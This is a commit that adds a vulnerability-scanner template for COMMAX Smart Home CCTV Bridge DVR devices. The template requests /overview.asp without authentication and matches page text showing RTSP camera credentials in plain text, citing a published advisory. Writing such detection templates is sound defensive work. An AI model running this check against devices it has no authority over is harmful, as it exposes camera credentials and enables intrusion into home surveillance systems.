Create commax-cctv-rtsp-credentials-disclosure.yaml

The COMMAX CCTV Bridge for the DVR service allows an unauthenticated attacker
to disclose RTSP credentials in plain-text.

Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>

vulnerabilities/other/commax-cctv-rtsp-credentials-disclosure.yaml

@@ -0,0 +1,23 @@
+id: commax-cctv-rtsp-credentials-disclosure
+
+info:
+  name: COMMAX Smart Home Ruvie CCTV Bridge DVR - RTSP Credentials Disclosure
+  author: gy741
+  severity: critical
+  description: The COMMAX CCTV Bridge for the DVR service allows an unauthenticated attacker to disclose RTSP credentials in plain-text
+  reference:
+    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5665.php
+  tags: commax,exposure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/overview.asp"
+
+    matchers:
+      - type: word
+        words:
+          - "DVR Lists"
+          - "rtsp://"
+          - "login_check.js"
+        condition: and